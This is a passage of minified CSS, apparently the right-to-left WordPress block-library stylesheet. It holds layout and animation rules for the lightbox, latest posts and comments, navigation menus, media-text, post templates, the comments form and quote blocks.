turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}ol.wp-block-latest-comments{box-sizing:border-box;margin-right:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both;overflow-wrap:break-word}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}:root :where(.wp-block-latest-posts.is-grid){padding:0}:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){padding-right:0}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}.wp-block-loginout,.wp-block-media-text{box-sizing:border-box}.wp-block-media-text{direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-right:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;opacity:0;overflow:hidden;position:absolute;right:-1px;top:100%;visibility:hidden;width:0;z-index:2}@media not (prefers-reduced-motion){.wp-block-navigation .has-child .wp-block-navigation__submenu-container{transition:opacity .1s linear}}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-align:right;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em;padding-right:0}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:0;right:auto}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;right:auto}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-left),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem);z-index:100000}@media not (prefers-reduced-motion){.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{left:0;position:absolute;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-right:8px;text-transform:uppercase}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em 0 0 .1em;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-author-biography{box-sizing:border-box}:where(.wp-block-post-comments-form) input:not([type=submit]),:where(.wp-block-post-comments-form) textarea{border:1px solid #949494;font-family:inherit;font-size:1em}:where(.wp-block-post-comments-form) input:where(:not([type=submit]):not([type=checkbox])),:where(.wp-block-post-comments-form) textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form :where(input[type=submit]){box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments-count{box-sizing:border-box}.wp-block-post-content{display:flow-root}.wp-block-post-comments-link,.wp-block-post-date{box-sizing:border-box}:where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-time-to-read,.wp-block-post-title{box-sizing:border-box}.wp-block-post-title{word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}.wp-block-post-author-name{box-sizing:border-box}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-pullquote{box-sizing:border-box;margin:0 0 1em;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.has-text-align-center blockquote{text-align:center}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit;display:block}.wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block-query-title,.wp-block-query-total,.wp-block-quote{box-sizing:border-box}.wp-block-quote{overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) 